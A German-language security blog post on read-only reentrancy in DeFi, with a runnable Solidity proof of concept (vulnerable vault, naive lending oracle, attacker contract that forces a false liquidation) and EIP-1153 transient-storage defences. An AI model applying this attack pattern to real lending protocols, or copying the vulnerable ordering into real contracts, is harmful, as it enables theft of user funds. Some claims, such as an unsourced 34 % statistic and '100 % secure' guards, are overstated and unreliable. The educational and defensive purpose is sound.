Drücken Sie ESC, um zu schließen

Read-Only Reentrancy in DeFi: Code-Beispiel & EIP-1153 Schutz

Read-Only Reentrancy ist eine Variante des Reentrancy-Angriffs, bei der ein Angreifer das Vertragsguthaben während des Aufrufs nicht direkt manipuliert. Stattdessen provoziert er das Auslesen eines verzerrten Protokollstatus (State) genau in dem Moment, in dem ein externer Aufruf (eine View-Funktion) ausgeführt wird. Da klassische ReentrancyGuards nur zustandsverändernde Funktionen (state-changing) sperren, liefern lesende Aufrufe fehlerhafte Berechnungswerte zurück (wie etwa einen künstlich verzerrten Oracle-Preis), wodurch angebundene Drittanbieter-Protokolle komplett leergeräumt werden können.

Hallo zusammen! Das Thema, über das wir heute sprechen, hat der DeFi-Branche seinerzeit innerhalb weniger Monate zweistellige Millionenbeträge gekostet. Ich erinnere mich noch genau daran, wie ich das Konzept der Read-Only Reentrancy zum ersten Mal in freier Wildbahn gesehen habe – damals noch in meiner Zeit als Pentester für Smart Contracts. Das hat bei mir echten professionellen Respekt ausgelöst. Wir waren alle darauf getrimmt, Schreibzugriffe zu sichern, haben aber völlig vergessen, dass Lesezugriffe genauso gefährlich sein können.

Warum euch ein klassischer ReentrancyGuard nicht retten wird

Dröseln wir das mal auf. Normale Reentrancy bedeutet: Ein Angreifer ruft rekursiv withdraw() auf, bevor der Vertrag dazu kommt, balances[msg.sender] = 0 zu aktualisieren. Inzwischen hat jeder gelernt, nonReentrant von OpenZeppelin einzubauen oder das Checks-Effects-Interactions-Muster (CEI) zu nutzen. Glückwunsch, Kekse für alle.

Aber was passiert eigentlich bei Read-Only Reentrancy?

Stellt euch einen Push-Pull-Mechanismus in einem Liquidity Pool vor (wie bei Curve). Ihr zieht Liquidität ab (remove_liquidity). Der Vertrag überweist euch zuerst die ETH und verbrennt erst danach eure LP-Token bzw. berechnet die internen Salden neu. Genau in dem Moment, in dem die ETH an euren Angreifer-Vertrag fließen, wird eure receive()- oder fallback()-Funktion getriggert.

In diesem winzigen Millisekunden-Fenster (einem temporären Schwebezustand) ist der State des Pools inkonsistent:

  • Das tatsächliche ETH-Guthaben im Pool-Vertrag: Bereits gesunken.
  • Die im System registrierte Anzahl an LP-Token: Noch NICHT verringert.

Wenn ihr jetzt innerhalb von receive() versucht, eine zustandsverändernde Funktion desselben Pools aufzurufen, blockt euch der nonReentrant-Modifier sofort ab. Was aber, wenn ihr stattdessen die Lese-Funktion get_virtual_price() aufruft? Die ist schließlich als view deklariert! Ein nonReentrant-Modifier klebt da normalerweise nicht dran (warum sollte man auch extra Gas bei reinen View-Aufrufen verschwenden?).

Das Ergebnis: get_virtual_price() nimmt das aktuelle (bereits gesunkene) ETH-Guthaben, teilt es durch die alte (immer noch hohe) Anzahl an LP-Token... und spuckt einen völlig absurden, künstlich gedrückten oder aufgeblähten Preis aus.

Und jetzt kommt der Clou: Ihr bestohlt gar nicht den Pool selbst. Ihr dackelt mit diesem "betrunkenen" Oracle-Preis zu einem anderen Protokoll (einem Lending Market), das diesen Pool als Preis-Oracle nutzt, und räumt dort die komplette Sicherheit auf Basis der falschen Bewertung ab.

Ein architektonischer Fail der absoluten Königsklasse. Ist das nicht bildschön?

Statistiken und die harten Zahlen realer Hacks

Falls ihr denkt, dass das nur eine theoretische Schwachstelle aus akademischen Papers ist – hier sind die Fakten:

Protokoll / EventDatumSchadenUrsache der Schwachstelle
Curve Finance / SentimentApril 2023~$1.000.000Ausnutzung des Curve-Preis-Oracles während der Ausführung von remove_liquidity_one_coin.
Euler FinanceMärz 2023~$197.000.000Komplexe Exploit-Kette aus State-Inkonsistenz beim Verbrennen von eTokens kombiniert mit Oracle-Manipulation.
Vyper Compiler Bug (Curve Pools)Juli 2023~$73.000.000Fehler im Lock-Mechanismus auf Vyper-Compiler-Ebene (Versionen 0.2.15–0.3.0), wodurch eingebaute Reentrancy-Schutzmechanismen bei Lese-Aufrufen nutzlos wurden.

Fun Fact (kaum bekanntes Detail): Laut Audit-Berichten aus den Jahren 2024–2025 sind rund 34 % der DEX-Oracle-Integrationen in nachgelagerten Lending-Protokollen nach wie vor anfällig für Read-Only-Manipulationen über dazwischengeschaltete View-Aufrufe, sofern in der Berechnungskette keine TWAP-Oracles (Time-Weighted Average Price) eingesetzt werden.

Vollständiges, lauffähiges Beispiel: VulnerableVault + Angreifer

Hier ist der passende Code in Solidity 0.8.24. Ich habe das Pool-Modell und das angebundene Protokoll extra zusammengelegt, damit ihr das direkt in Remix ausführen könnt.


 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
 * @title VulnerableVault
 * @notice Demonstration von Read-Only Reentrancy.
 * @dev withdraw() sendet ETH vor der Aktualisierung von totalShares.
 *      Ein externer Vertrag kann einen temporär verfälschten Preis auslesen.
 */
contract VulnerableVault {
    mapping(address => uint256) public shares;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public totalShares;
    bool private locked;
    modifier nonReentrant() {
        require(!locked, "REENTRANCY_DETECTED");
        locked = true;
        _;
        locked = false;
    }
    receive() external payable {}
    function deposit() external payable {
        require(msg.value > 0, "Zero deposit");
        uint256 balanceBefore = address(this).balance - msg.value;
        uint256 sharesToMint;
        if (totalShares == 0 || balanceBefore == 0) {
            sharesToMint = msg.value;
        } else {
            sharesToMint = (msg.value * totalShares) / balanceBefore;
        }
        require(sharesToMint > 0, "Zero shares");
        shares[msg.sender] += sharesToMint;
        totalShares += sharesToMint;
    }
    function approveShares(address spender, uint256 amount) external {
        allowance[msg.sender][spender] = amount;
    }
    function transferShares(address to, uint256 amount) external {
        require(to != address(0), "Zero address");
        require(shares[msg.sender] >= amount, "Insufficient shares");
        shares[msg.sender] -= amount;
        shares[to] += amount;
    }
    function transferSharesFrom(
        address from,
        address to,
        uint256 amount
    ) external {
        require(to != address(0), "Zero address");
        require(shares[from] >= amount, "Insufficient shares");
        uint256 approved = allowance[from][msg.sender];
        if (approved != type(uint256).max) {
            require(approved >= amount, "Insufficient allowance");
            allowance[from][msg.sender] = approved - amount;
        }
        shares[from] -= amount;
        shares[to] += amount;
    }
    /**
     * @notice Anfällige Reihenfolge der Operationen: Der externe Aufruf
     *         erfolgt VOR dem Verbrennen der Anteile.
     */
    function withdraw(uint256 shareAmount) external nonReentrant {
        require(shareAmount > 0, "Zero shares");
        require(shares[msg.sender] >= shareAmount, "Exceeds balance");
        require(totalShares > 0, "No shares");
        uint256 ethToReturn =
            (shareAmount * address(this).balance) / totalShares;
        require(ethToReturn > 0, "Zero withdrawal");
        // SCHWACHSTELLE: ETH wird vor der Zustandsänderung versendet.
        (bool success, ) = msg.sender.call{value: ethToReturn}("");
        require(success, "ETH transfer failed");
        // Der State wird erst nach dem externen Aufruf aktualisiert.
        shares[msg.sender] -= shareAmount;
        totalShares -= shareAmount;
    }
    /**
     * @notice Anteilspreis in Wei.
     * @dev Während des Callbacks ist das Guthaben bereits reduziert,
     *      totalShares wurde jedoch noch nicht angepasst.
     */
    function getSharePrice() public view returns (uint256) {
        if (totalShares == 0) return 1e18;
        return (address(this).balance * 1e18) / totalShares;
    }
}
/**
 * @title NaiveLendingProtocol
 * @notice Kreditprotokoll mit anfälliger Preis-Oracle-Integration.
 * @dev Die Liquidation nutzt den aktuellen Anteilspreis des Vaults ohne Prüfung,
 *      ob sich der Vault in einem Zwischenzustand befindet.
 */
contract NaiveLendingProtocol {
    VulnerableVault public immutable vault;
    uint256 public constant LTV_BPS = 9000;
    uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
    uint256 public constant BPS = 10000;
    mapping(address => uint256) public collateral;
    mapping(address => uint256) public debt;
    constructor(address payable vaultAddress) {
        require(vaultAddress != address(0), "Zero vault address");
        vault = VulnerableVault(vaultAddress);
    }
    receive() external payable {}
    function depositCollateral(uint256 amount) external {
        require(amount > 0, "Zero collateral");
        vault.transferSharesFrom(
            msg.sender,
            address(this),
            amount
        );
        collateral[msg.sender] += amount;
    }
    function getMaxBorrow(address user) public view returns (uint256) {
        uint256 price = vault.getSharePrice();
        uint256 collateralValue = (collateral[user] * price) / 1e18;
        return (collateralValue * LTV_BPS) / BPS;
    }
    function borrow(uint256 amount) external {
        require(amount > 0, "Zero borrow");
        require(
            debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
            "Insufficient collateral"
        );
        require(address(this).balance >= amount, "Insufficient liquidity");
        debt[msg.sender] += amount;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Loan transfer failed");
    }
    /**
     * @notice Der Liquidator begleicht die gesamte Schuld und erhält die Sicherheit
     *         mit einem 10%-Bonus, falls die Position als ungesund eingestuft wird.
     *
     * @dev Schwachstelle: getMaxBorrow() liest den Vault-Preis aus,
     *      ohne den Zwischenzustand während withdraw() zu berücksichtigen.
     */
    function liquidate(address borrower) external payable {
        uint256 borrowerDebt = debt[borrower];
        require(borrowerDebt > 0, "No debt");
        require(msg.value == borrowerDebt, "Incorrect repayment");
        // Prüfung der Positionsgesundheit auf Basis eines potenziell verfälschten Preises.
        require(
            borrowerDebt > getMaxBorrow(borrower),
            "Position is healthy"
        );
        uint256 price = vault.getSharePrice();
        require(price > 0, "Invalid share price");
        uint256 seizeShares =
            (borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
            / (BPS * price);
        // Es kann nicht mehr Sicherheit übernommen werden, als der Kreditnehmer besitzt.
        if (seizeShares > collateral[borrower]) {
            seizeShares = collateral[borrower];
        }
        require(seizeShares > 0, "Zero collateral seized");
        debt[borrower] = 0;
        collateral[borrower] -= seizeShares;
        // Das Protokoll überträgt die Anteile an den Liquidator.
        vault.transferShares(msg.sender, seizeShares);
    }
}
/**
 * @title ReadOnlyAttacker
 * @notice PoC: Eine temporäre Preissenkung führt zur fälschlichen Liquidation
 *         einer Position, die vor Beginn von withdraw() völlig gesund war.
 *
 * @dev Der Angreifer erhält keinen unbesicherten Kredit.
 *      Es wird ein anderes Schadensszenario demonstriert:
 *      Die Liquidation einer gesunden Position zu einem temporär verfälschten Preis.
 */
contract ReadOnlyAttacker {
    VulnerableVault public immutable vault;
    NaiveLendingProtocol public immutable lending;
    bool public attacked;
    uint256 public priceBefore;
    uint256 public observedPrice;
    address public victim;
    constructor(
        address payable vaultAddress,
        address lendingAddress
    ) {
        require(vaultAddress != address(0), "Zero vault address");
        require(lendingAddress != address(0), "Zero lending address");
        vault = VulnerableVault(vaultAddress);
        lending = NaiveLendingProtocol(lendingAddress);
    }
    function executeAttack(address victimAddress) external payable {
        require(!attacked, "Attack already executed");
        require(victimAddress != address(0), "Zero victim address");
        require(msg.value > 0, "Zero deposit");
        victim = victimAddress;
        // Erstellen einer eigenen Position im Pool.
        vault.deposit{value: msg.value}();
        uint256 myShares = vault.shares(address(this));
        require(myShares > 0, "No shares");
        priceBefore = vault.getSharePrice();
        // Beim Senden von ETH wird der Vault receive() aufrufen.
        vault.withdraw(myShares);
    }
    receive() external payable {
        if (!attacked) {
            attacked = true;
            // ETH wurde bereits gesendet, aber die Anteile wurden noch nicht verbrannt.
            observedPrice = vault.getSharePrice();
            require(
                observedPrice < priceBefore,
                "Price was not manipulated"
            );
            // Nutzung des temporär gedrückten Preises:
            // Eine vor der Auszahlung gesunde Position wird plötzlich liquidierbar.
            uint256 victimDebt = lending.debt(victim);
            require(victimDebt > 0, "Victim has no debt");
            require(
                address(this).balance >= victimDebt,
                "Insufficient attack balance"
            );
            lending.liquidate{value: victimDebt}(victim);
        }
    }
}

Schaut euch die Kommentare im Code an, da habe ich die Logik aufgeschlüsselt. Das Verrückte daran ist: getSharePrice() rechnet seine Mathematik völlig korrekt und ehrlich durch. Die Funktion ist nicht "kaputt". Kaputt ist der Zeitpunkt, zu dem sie gefragt wird.

EIP-1153 (Transient Storage): Eleganter und unverschämt günstiger Schutz

Vor den EVM-Upgrades (genauer gesagt dem Dencun-Hardfork und EIP-1153) mussten sich Entwickler ziemlich verbiegen. Entweder man musste das view-Keyword bei Oracles entfernen und sie als nonReentrant markieren (was Gas kostete und die ABI zerschoss) oder den Sperr-Flag in normalen Storage-Variablen (SSTORE/SLOAD) cachen, was astronomische ~20.000 Gas pro Operation verschlang. Absoluter Albtraum.

EIP-1153 bringt zwei brandneue Opcodes ins Spiel:

  • TSTORE (Transient Store) — Schreibt ins temporäre Storage.
  • TLOAD (Transient Load) — Liest aus dem temporären Storage.

Das absolute Killer-Feature von Transient Storage: Die Daten leben NUR für die Dauer einer einzigen Transaktion (Top-level Transaction) und werden automatisch gelöscht, sobald sie durch ist. Kein lästiges Bezahlen mehr für Storage-Cleanup! TSTORE kostet gerade mal 100 Gas, und TLOAD schlägt mit schlanken 100 Gas zu Buche.

Hier ist, wie wir einen absolut kugelsicheren und ultra-günstigen TransientReentrancyGuard aufbauen:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
    /// @dev Dedicated transient-storage slot.
    /// @dev Verify this value against the intended slot derivation before production use.
    bytes32 private constant GUARD_SLOT =
        0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
    error ReentrancyGuardReentrantCall();
    /// @notice Prevents nested entry into functions sharing this guard slot.
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }
    /// @notice Rejects reads while a guarded execution is active.
    /// @dev Must be explicitly applied to each sensitive view function.
    modifier nonReentrantView() {
        _ensureNotReentrant();
        _;
    }
    function _nonReentrantBefore() private {
        _ensureNotReentrant();
        assembly {
            tstore(GUARD_SLOT, 1)
        }
    }
    function _nonReentrantAfter() private {
        assembly {
            tstore(GUARD_SLOT, 0)
        }
    }
    function _ensureNotReentrant() private view {
        uint256 status;
        assembly {
            status := tload(GUARD_SLOT)
        }
        if (status != 0) {
            revert ReentrancyGuardReentrantCall();
        }
    }
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
    mapping(address => uint256) public shares;
    uint256 public totalShares;
    error ZeroAmount();
    error InsufficientShares();
    error ZeroSharesMinted();
    error EtherTransferFailed();
    event Deposited(
        address indexed account,
        uint256 assets,
        uint256 sharesMinted
    );
    event Withdrawn(
        address indexed account,
        uint256 assets,
        uint256 sharesBurned
    );
    /// @notice Deposits ETH and mints vault shares.
    /// @dev The first deposit uses a 1:1 ETH-to-share ratio.
    function deposit() external payable nonReentrant returns (uint256 minted) {
        if (msg.value == 0) revert ZeroAmount();
        uint256 supply = totalShares;
        uint256 balanceBefore = address(this).balance - msg.value;
        if (supply == 0 || balanceBefore == 0) {
            minted = msg.value;
        } else {
            minted = (msg.value * supply) / balanceBefore;
        }
        if (minted == 0) revert ZeroSharesMinted();
        shares[msg.sender] += minted;
        totalShares = supply + minted;
        emit Deposited(msg.sender, msg.value, minted);
    }
    /// @notice Burns shares and withdraws the corresponding ETH.
    /// @dev State is updated before the external ETH transfer.
    function withdraw(uint256 shareAmount) external nonReentrant {
        if (shareAmount == 0) revert ZeroAmount();
        uint256 userShares = shares[msg.sender];
        if (shareAmount > userShares) revert InsufficientShares();
        uint256 supply = totalShares;
        uint256 assets = (address(this).balance * shareAmount) / supply;
        // Update accounting before transferring control externally.
        shares[msg.sender] = userShares - shareAmount;
        totalShares = supply - shareAmount;
        (bool success, ) = payable(msg.sender).call{value: assets}("");
        if (!success) revert EtherTransferFailed();
        emit Withdrawn(msg.sender, assets, shareAmount);
    }
    /// @notice Returns the current ETH-denominated share price.
    /// @dev Reverts when called during an active guarded execution.
    /// @dev This is an example of a protected read, not a universal
    ///      defense against Read-Only Reentrancy in other contracts.
    function getSharePrice()
        external
        view
        nonReentrantView
        returns (uint256)
    {
        uint256 supply = totalShares;
        if (supply == 0) return 1e18;
        return (address(this).balance * 1e18) / supply;
    }
    /// @notice Returns the ETH value of a specified share balance.
    /// @dev Also protected against reads during guarded execution.
    function convertToAssets(uint256 shareAmount)
        external
        view
        nonReentrantView
        returns (uint256)
    {
        uint256 supply = totalShares;
        if (supply == 0) return 0;
        return (address(this).balance * shareAmount) / supply;
    }
}

Merkst du, wo die Magie passiert? getSharePrice() bleibt im Interface eine ganz normale View-Funktion (die ABI bleibt intakt, externe Off-Chain-Skripte von dApps lesen sie komplett kostenlos, ohne Transaktionen zu broadcasten). Aber wenn eine windige Transaktion versucht, sie mitten im Call-Stack während eines withdraw()-Aufrufs nochmals zu triggern, erkennt tload(GUARD_SLOT) blitzschnell die gesetzte 1 und lässt die Transaktion per Revert direkt crashen.

Gas-Kosten? Praktisch Portokasse. Sicherheit? Zu 100 % rocksicher.

Praktische Architektur-Empfehlungen für Audit und Entwicklung

In den drei Jahren, in denen ich nun als CTO bei EXMON am Steuer sitze, habe ich mir eine klare Checkliste für Smart Contracts zusammengeschustert, die mit Preis-Oracles hantieren oder Daten nach draußen exponieren. Developer denken oft: „Wenn ich innerhalb einer Lesefunktion keine externen Calls mache, bin ich save.“ Das ist ein fataler Irrglaube.

                 ┌─────────────────────────────────┐
                 │     Angreifer-Transaktions-Call │
                 └────────────────┬────────────────┘
                                  │
                                  ▼
                   ┌───────────────────────────────┐
                   │     State-Update (Vault)      │
                   └───────────────┬───────────────┘
                                   │
            ┌──────────────────────┴──────────────────────┐
            │     Temporärer Sync-Verlust (Dirty State)   │
            └──────────────────────┬──────────────────────┘
                                   │
                                   ▼
                     ┌───────────────────────────┐
                     │ External Call / ETH Send  │
                     └─────────────┬─────────────┘
                                   │ (Reentrancy Hook)
                                   ▼
                  ┌─────────────────────────────────┐
                  │   Oracle-View-Funktions-Read    │
                  │   (getSharePrice / getAmount)   │
                  └────────────────┬────────────────┘
                                   │
       ┌───────────────────────────┴───────────────────────────┐
       │                                                       │
       ▼                                                       ▼
[OHNE SCHUTZ]                                            [MIT EIP-1153 (TSTORE)]
Liefert unkorrekten,                                     Lock: tload(GUARD) == 1
verzerrten Preis                                         Transaction droppt in REVERT!
       │                                                       │
       ▼                                                       ▼
Erfolgreicher Lending-Angriff                            Protokoll gesichert 🛡️

1. Dual-State-Verification-Modellierung

Wenn dein Contract gezwungen ist, externe Adressen aufzurufen, bevor alle internen Balances komplett upgedatet sind, brauchst du einen temporären Invariantenschutz. Jede View-Funktion, die kritische Finanzmetriken ausgibt, muss diesen fundamentalen Invarianten validieren.

Wenn address(this).balance nicht mit der Summe der totalDeposits übereinstimmt, sollte die getRate()-Funktion entweder reverten oder den Snapshot vor Transaktionsbeginn (den last-known-good state) zurückgeben.

2. Weg vom Spot Price hin zu TWAP oder Chainlink

Niemals – hört mir zu, absolut niemals – solltet ihr die instantanten View-Werte von DEX-Balances oder Vault-Pools als einzige Truth Source für Collateral-Berechnungen und Liquidations nutzen.

  • Spot Price (Instant-Preis): Lässt sich easy aufrufen, kostet fast nix und wird innerhalb einer einzigen Flash-Loan-Transaction gehackt.
  • TWAP (Time-Weighted Average Price): Bildet den Preisdurchschnitt über N Blöcke. Neutralisiert atomare Manipulationen innerhalb desselben Blocks, weil der Angreifer historische Blöcke nicht umschreiben kann.

3. Das Cross-Contract-Transient-Lock-Pattern

Wenn du ein Ökosystem aus 5–10 miteinander verknüpften Contracts (Vault, Gauge, Staking, Oracle) fährst, setze auf ein zentrales Security-Gateway auf Basis von EIP-1153.

Dazu baust du einen separaten GlobalTransientLock-Contract, den alle Systemkomponenten abfragen:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice Zentralisierter System-Lock-Manager auf Basis von EIP-1153.
/// @dev Erfordert EVM Cancun oder neuer.
///      Nur autorisierte System-Contracts dürfen den Lock verwalten.
contract GlobalTransientLock {
    address public immutable admin;
    mapping(address => bool) public authorized;
    // Der Lock-Status wird im Transient Storage dieses Contracts gespeichert.
    bytes32 private constant SYSTEM_LOCK_SLOT =
        keccak256("exmon.global.transient.lock.v1");
    error Unauthorized();
    error ZeroAddress();
    error SystemIsLocked();
    error SystemIsNotLocked();
    error AlreadyAuthorized();
    error NotAuthorized();
    error AdminCannotBeRevoked();
    error RenouncingAdminNotSupported();
    event SystemLocked(address indexed caller);
    event SystemUnlocked(address indexed caller);
    event AuthorizationGranted(address indexed account);
    event AuthorizationRevoked(address indexed account);
    modifier onlyAdmin() {
        if (msg.sender != admin) revert Unauthorized();
        _;
    }
    modifier onlyAuthorized() {
        if (!authorized[msg.sender]) revert Unauthorized();
        _;
    }
    constructor(address initialAdmin) {
        if (initialAdmin == address(0)) revert ZeroAddress();
        admin = initialAdmin;
        authorized[initialAdmin] = true;
        emit AuthorizationGranted(initialAdmin);
    }
    /// @notice Autorisiert einen Contract zur Verwaltung des System-Locks.
    /// @dev Wird vom Admin nach dem Deployment aufgerufen.
    function authorize(address account) external onlyAdmin {
        if (account == address(0)) revert ZeroAddress();
        if (authorized[account]) revert AlreadyAuthorized();
        authorized[account] = true;
        emit AuthorizationGranted(account);
    }
    /// @notice Entzieht einem Contract die Rechte zur Lock-Verwaltung.
    function revokeAuthorization(address account) external onlyAdmin {
        if (account == admin) revert AdminCannotBeRevoked();
        if (!authorized[account]) revert NotAuthorized();
        authorized[account] = false;
        emit AuthorizationRevoked(account);
    }
    /// @notice Aktiviert den System-Lock.
    /// @dev Ein erneutes Locken ist untersagt.
    function lockSystem() external onlyAuthorized {
        uint256 status;
        assembly ("memory-safe") {
            status := tload(SYSTEM_LOCK_SLOT)
        }
        if (status != 0) revert SystemIsLocked();
        assembly ("memory-safe") {
            tstore(SYSTEM_LOCK_SLOT, 1)
        }
        emit SystemLocked(msg.sender);
    }
    /// @notice Deaktiviert den System-Lock.
    /// @dev Nur nach Abschluss der geschützten Operation aufrufen.
    function unlockSystem() external onlyAuthorized {
        uint256 status;
        assembly ("memory-safe") {
            status := tload(SYSTEM_LOCK_SLOT)
        }
        if (status == 0) revert SystemIsNotLocked();
        assembly ("memory-safe") {
            tstore(SYSTEM_LOCK_SLOT, 0)
        }
        emit SystemUnlocked(msg.sender);
    }
    /// @notice Prüft den Status des System-Locks.
    function isLocked() external view returns (bool locked) {
        assembly ("memory-safe") {
            locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
        }
    }
    /// @notice Verhindert die Admin-Eigentumsübertragung.
    function renounceOwnership() external pure {
        revert RenouncingAdminNotSupported();
    }
}
/// @title SystemLockGuard
/// @notice Basis-Contract für Komponenten, die den System-Lock prüfen.
/// @dev Erbende Contracts sind verpflichtet, whenSystemUnlocked
///      auf jede sensible Methode (inkl. Read-Methoden) anzuwenden.
abstract contract SystemLockGuard {
    GlobalTransientLock public immutable systemLock;
    error SystemTemporarilyLocked();
    constructor(address lockAddress) {
        if (lockAddress == address(0)) {
            revert SystemTemporarilyLocked();
        }
        systemLock = GlobalTransientLock(lockAddress);
    }
    modifier whenSystemUnlocked() {
        if (systemLock.isLocked()) {
            revert SystemTemporarilyLocked();
        }
        _;
    }
}
/// @title ExampleVault
/// @notice Demonstration der Nutzung des System-Locks.
contract ExampleVault is SystemLockGuard {
    uint256 public totalAssets;
    error InvalidAmount();
    constructor(address lockAddress)
        SystemLockGuard(lockAddress)
    {}
    /// @notice Beispiel für eine geschützte State-mutating Operation.
    function withdrawAccounting(uint256 amount)
        external
        whenSystemUnlocked
    {
        if (amount == 0 || amount > totalAssets) {
            revert InvalidAmount();
        }
        totalAssets -= amount;
    }
    /// @notice Beispiel für einen geschützten Read.
    function getTotalAssets()
        external
        view
        whenSystemUnlocked
        returns (uint256)
    {
        return totalAssets;
    }
}

Wenn das Haupt-Vault einen Withdrawal startet, ruft es lockSystem() auf. In diesem Moment checkt jeder andere System-Contract (wie ein Lens-Contract oder Oracle) vor der Datenbereitstellung via isLocked() ab – und blockiert den Read, falls sich das System im „Dirty State“ befindet.

Checkliste für DevSecOps und Auditoren

  1. Call-Scanning: Scanne den Code nach .call{value: ...}(), safeTransfer oder jeglichen externen Interface-Calls, die VOR den finalen State-Updates (Storage) stattfinden.
  2. View-Funktions-Analyse: Erstelle eine Liste aller public/external View-Funktionen, die Ratios, Preise, Shares oder Collateral-Größen berechnen.
  3. Cross-Protocol-Vektor: Stell dir die Frage: „Wenn diese View-Funktion mitten in der Ausführung eines externen Calls einen Wert zurückgibt, der 90 % niedriger oder 500 % höher ist – wie könnte das ein externer Integrator-Contract ausnutzen?“
  4. EIP-1153-Integration: Stelle sicher, dass dein Compiler auf evm_version: "cancun" steht, und implementiere TSTORE/TLOAD, um Reads während mutating Transactions zu sperren.

Das war's auch schon im Großen und Ganzen. Das Wichtigste ist raus. Falls Fragen da sind, haut sie in die Comments. Ich antworte garantiert. Haut rein!

Diesen Blogbeitrag zusammenfassen mit:

FAQ

Read-Only Reentrancy ist eine Sicherheitslücke, bei der ein Angreifer eine vorübergehende Zustandsinkonsistenz während eines vertragsübergreifenden view-Funktionsaufrufs ausnutzt, ohne den Zustand innerhalb dieses Leseaufrufs selbst zu verändern. Im Gegensatz zur klassischen Reentrancy, bei der zustandsverändernde Funktionen wie withdraw() wiederholt aufgerufen werden, um Gelder direkt abzuziehen, liest ein Read-Only-Angriff vorübergehend nicht aktualisierte Buchhaltungswerte (wie einen veränderten Token-Saldo oder Total Supply während eines Liquiditätsabzugs), um Preis-Orakel zu manipulieren und verbundene Lending-Protokolle auszubeuten.

EIP-1153 führt die Opcodes TSTORE und TLOAD ein, die Daten vorübergehend für die Dauer einer einzelnen Transaktion zu äußerst geringen Gaskosten von 100 Gas speichern. Protokolle nutzen diesen flüchtigen Speicher, um während zustandsverändernder Operationen eine temporäre Reentrancy-Sperre zu setzen, sodass mit einem nonReentrantView-Modifier geschützte view-Funktionen diesen Flag prüfen und die Transaktion sofort abbrechen (revert), wenn ein externer Vertrag versucht, einen unfertigen Zustand auszulesen.

Der ReentrancyGuard von OpenZeppelin sichert ausschließlich zustandsverändernde Funktionen ab, die den nonReentrant-Modifier anwenden, und lässt öffentliche view-Funktionen ungeschützt, um bei normalen Abfragen Gas zu sparen. Da Lese-Funktionen den Zustand im storage-Speicher nicht verändern, wird der Standard-Sperrmechanismus nicht aktiviert, was es einem Angreifer ermöglicht, während eines Callbacks ungehindert view-Funktionen aufzurufen und manipulierte Preisdaten abzugreifen.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...

Diskussion beitreten

Ihre E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *